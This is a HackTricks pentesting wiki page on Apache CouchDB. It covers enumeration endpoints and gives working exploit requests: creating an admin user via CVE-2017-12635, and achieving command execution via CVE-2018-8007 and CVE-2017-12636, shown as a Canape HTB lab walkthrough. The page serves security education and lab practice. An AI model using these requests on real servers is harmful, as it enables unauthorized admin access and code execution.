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HackTricks - Boitatech
  • HackTricks
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
    • Github Leaked Secrets
  • Phishing Methodology
    • Clone a Website
    • Detecting Phising
    • Phishing Documents
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • Shells
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • Linux/Unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • PAM - Pluggable Authentication Modules
      • SELinux
      • Logstash
      • AppArmor
      • Containerd (ctr) Privilege Escalation
      • Docker Breakout
      • electron/CEF/chromium debugger abuse
      • Escaping from Jails
      • Cisco - vmanage
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Interesting Groups - Linux PE
        • lxd/lxc Group - Privilege escalation
      • ld.so exploit example
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Payloads to execute
      • RunC Privilege Escalation
      • Seccomp
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Socket Command Injection
      • Wildcards Spare tricks
    • Useful Linux Commands
      • Bypass Bash Restrictions
    • Linux Environment Variables
  • MacOS
    • MacOS Security & Privilege Escalation
      • Mac OS Architecture
      • MacOS MDM
        • Enrolling Devices in Other Organisations
      • MacOS Protocols
      • MacOS Red Teaming
      • MacOS Serial Number
      • MacOS Apps - Inspecting, debugging and Fuzzing
  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
      • SeImpersonate from High To System
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • Dll Hijacking
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JAWS
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • PowerUp
      • Privilege Escalation Abusing Tokens
      • Privilege Escalation with Autoruns
      • RottenPotato
      • Seatbelt
      • SeDebug + SeImpersonate copy token
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
      • AD information in printers
      • ASREPRoast
      • BloodHound
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • DSRM Credentials
      • Golden Ticket
      • Kerberos Authentication
      • Kerberoast
      • MSSQL Trusted Links
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying
      • Force NTLM Privileged Authentication
      • Privileged Accounts and Token Privileges
      • Resource-based Constrained Delegation
      • Security Descriptors
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • NTLM
      • Places to steal NTLM creds
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WmicExec
      • AtExec / SchtasksExec
      • WinRM
    • Stealing Credentials
      • Credentials Protections
      • Mimikatz
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView
    • AV Bypass
  • Mobile Apps Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Burp Suite Configuration for Android
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Inspeckage Tutorial
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • Basic iOS Testing Operations
      • Burp Suite Configuration for iOS
      • Extracting Entitlements From Compiled Application
      • Frida Configuration in iOS
      • iOS App Extensions
      • iOS Basics
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
  • Pentesting
    • Pentesting Network
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
      • Pentesting IPv6
      • Nmap Summary (ESP)
      • Network Protocols Explained (ESP)
      • IDS and IPS Evasion
      • DHCPv6
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
      • Accounting bypass
      • Buffer Overflows
      • Credentials Disclosure / Brute-Force
      • Cross-Site Printing
      • Document Processing
      • Factory Defaults
      • File system access
      • Firmware updates
      • Memory Access
      • Physical Damage
      • Software packages
      • Transmission channel
      • Print job manipulation
      • Print Job Retention
      • Scanner and Fax
    • Pentesting SAP
    • Pentesting Kubernetes
      • Enumeration from a Pod
      • Hardening Roles/ClusterRoles
      • Pentesting Kubernetes from the outside
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Apache
      • Artifactory Hacking guide
      • Buckets
        • Firebase Database
        • AWS-S3
      • CGI
      • Code Review Tools
      • Drupal
      • Flask
      • Git
      • Golang
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • JBOSS
      • Jenkins
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
      • Special HTTP headers
      • Spring Actuators
      • Symphony
      • Tomcat
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • werkzeug
      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
    • 15672 - Pentesting RabbitMQ Management
    • 27017,27018 - Pentesting MongoDB
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Abusing hop-by-hop headers
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • Cross-site WebSocket hijacking (CSWSH)
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
    • Domain/Subdomain takeover
    • Email Header Injection
    • File Inclusion/Path traversal
      • phar:// deserialization
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • H2C Smuggling
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • NoSQL injection
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • PostMessage Vulnerabilities
    • Race Condition
    • Rate Limit Bypass
    • Registration Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MSSQL Injection
      • Oracle injection
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Extensions
      • MySQL injection
        • Mysql SSRF
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
    • Reverse Tab Nabbing
    • Unicode Normalization vulnerability
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • PDF Injection
      • DOM XSS
      • Server Side XSS (Dynamic PDF)
      • XSS Tools
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search
  • Forensics
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Adquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • EXT
        • File/Data Carving & Recovery Tools
        • NTFS
      • Pcap Inspection
        • DNSCat pcap analysis
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • .pyc
        • Browser Artifacts
        • Desofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Windows Processes
        • Interesting Windows Registry Keys
  • A.I. Exploiting
    • BRA.I.NSMASHER Presentation
      • Basic Bruteforcer
      • Basic Captcha Breaker
      • BIM Bruteforcer
      • Hybrid Malware Classifier Part 1
  • Blockchain
    • Blockchain & Crypto Currencies
  • Courses and Certifications Reviews
    • INE Courses and eLearnSecurity Certifications Reviews
  • Cloud Security
    • Cloud security review
    • AWS Security
  • Physical attacks
    • Physical Attacks
    • Escaping from KIOSKs
      • Show file extensions
  • Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Word Macros
  • Exploiting
    • Linux Exploiting (Basic) (SPA)
      • Format Strings Template
      • ROP - call sys_execve
      • ROP - Leaking LIBC address
        • ROP - Leaking LIBC template
      • Bypassing Canary & PIE
      • Ret2Lib
      • Fusion
    • Exploiting Tools
      • PwnTools
    • Windows Exploiting (Basic Guide - OSCP lvl)
  • Cryptography
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
  • BACKDOORS
    • Merlin
    • Empire
    • Salseo
    • ICMPsh
  • Stego
    • Stego Tricks
    • Esoteric languages
  • MISC
    • Basic Python
      • venv
      • Bypass Python sandboxes
      • Magic Methods
      • Web Requests
      • Bruteforce hash (few chars)
    • Other Big References
  • TODO
    • More Tools
    • MISC
    • Pentesting DNS
  • Burp Suite
  • Other Web Tricks
  • Interesting HTTP
  • Emails Vulnerabilities
  • Android Forensics
  • TR-069
  • 6881/udp - Pentesting BitTorrent
  • CTF Write-ups
    • challenge-0521.intigriti.io
    • Try Hack Me
      • hc0n Christmas CTF - 2019
      • Pickle Rick
  • 1911 - Pentesting fox
  • Online Platforms with API
  • Stealing Sensitive Information Disclosure from a Web
  • Post Exploitation
Powered by GitBook
On this page
  • Basic Information
  • Automatic Enumeration
  • Manual Enumeration
  • Banner
  • Info Enumeration
  • Database List
  • Database Info
  • Document List
  • Read Document
  • CouchDB Privilege Escalation CVE-2017-12635
  • CouchDB RCE
  • Erlang Cookie
  • Successful CVE-2018-8007 with local.ini write permissions
  • Successful Attempt Via CVE-2017-12636 with local.ini write permissions
  • Shodan
  • References

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  1. Pentesting

5984,6984 - Pentesting CouchDB

Basic Information

CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map.

Each document that is stored in the database is given a document-level unique identifier (_id) as well as a revision (_rev) number for each change that is made and saved to the database.

Default port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatic Enumeration

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Manual Enumeration

Banner

curl http://IP:5984/

This issues a GET request to installed CouchDB instance. The reply should look something like on of the following:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Note that if accessing the root of couchdb you receive a 401 Unauthorized with something like this: {"error":"unauthorized","reason":"Authentication required."} you won't be able to access the banner or any other endpoint.

Info Enumeration

  • /_active_tasks List of running tasks, including the task type, name, status and process ID.

  • /_all_dbsReturns a list of all the databases in the CouchDB instance.

  • /_cluster_setupReturns the status of the node or cluster, per the cluster setup wizard.

  • /_db_updates Returns a list of all database events in the CouchDB instance. The existence of the _global_changes database is required to use this endpoint.

  • /_membership Displays the nodes that are part of the cluster as cluster_nodes. The field all_nodes displays all nodes this node knows about, including the ones that are part of the cluster.

  • /_scheduler/jobs List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things.

  • /_scheduler/docs List of replication document states. Includes information about all the documents, even in completed and failed states. For each document it returns the document ID, the database, the replication ID, source and target, and other information.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} The /_node/{node-name} endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing /_node/_local to retrieve this information.

  • /_node/{node-name}/_stats The _stats resource returns a JSON object containing the statistics for the running server. The literal string _local serves as an alias for the local node name, so for all stats URLs, {node-name} may be replaced with _local, to interact with the local node’s statistics.

  • /_node/{node-name}/_system The _systemresource returns a JSON object containing various system-level statistics for the running server. You can use ___local as {node-name} to get current node info.

  • /_node/{node-name}/_restart

  • /_uuidsRequests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance.

  • /_reshardReturns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster.

Database List

curl -X GET http://IP:5984/_all_dbs

If that request responds with a 401 unauthorised, then you need some valid credentials to access the database:

curl -X GET http://user:password@IP:5984/_all_dbs

This is an example of a couchdb response when you have enough privileges to list databases (It's just a list of dbs):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

You can obtain some database info (like number of files and sizes) accessing the database name:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Document List

List each entry inside a database

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Read Document

Read the content of a document inside a database:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Thanks to the differences between Erlang and JavaScript JSON parsers you could create an admin user with credentials hacktricks:hacktricks with the following request:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

CouchDB RCE

Erlang Cookie

CouchDB in cluster mode uses the port 5984 just as standalone, but it also uses 5986 for node-local APIs.

Erlang uses TCP port 4369 (EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh.

And then there’s an interesting warning:

If we look in the process list, we can see that cookie, “monster”:

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Successful CVE-2018-8007 with local.ini write permissions

Start with a clean and now writable local.ini (and a backup):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

We can use curl to modify the origins in the local.ini file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So we’ll take advantage of the [os_daemons] field, and add a process for CouchDB to try to keep running:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

In the root shell, we can see what changes:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

And yet, the file isn’t there:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also runsrv couchdb:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

If we kill that process, it comes right back (notice the new pid):

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

And, on restart, runs the OS_Daemons:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Successful Attempt Via CVE-2017-12636 with local.ini write permissions

CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration.

There are a few POCs out there as reference:

We’d need to write a new query_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query_servers path from most of the POCs doesn’t exist. That’s changed now, but we’ll walk the same steps. First, get the version, and show that the 1.X path doesn’t exist:

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

Update with the new path for 2.0:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

From there, we should add a query_server and then invoke it, but we aren’t able to.

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the local.ini file is not writable by anyone, let alone www-data:

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes:

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

Now, back to our www-data shell:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

Now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query_server to get execution.

Create db and document:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

Request it in a view:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

Shodan

  • port:5984 couchdb

References

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Last updated 3 years ago

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These are the endpoints where you can access with a GET request and extract some interesting info. You can find .

/_up Confirms that the server is up, running, and ready to respond to requests. If is true or nolb, the endpoint will return a 404 response.

More interesting information can be extracted as explained here:

In order to find valid Credentials you could try to .

CouchDB Privilege Escalation

****.

In the CouchDB docs, in the , it talks about the different ports used by CouchDB:

1536931232858

You can. Also, you can read some Canape HTB machine writeup to see and practice how to exploit this vuln.

In writing this post, I found a new CVE had been released for CouchDB from mdsec, . It also requires writes to the local.ini file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work.

with a different payload

more endpoints and more detailed descriptions in the couchdb documentation
maintenance_mode
https://lzone.de/cheat-sheet/CouchDB
CVE-2017-12635
More information about this vuln here
cluster set-up section
CVE-2018-8007
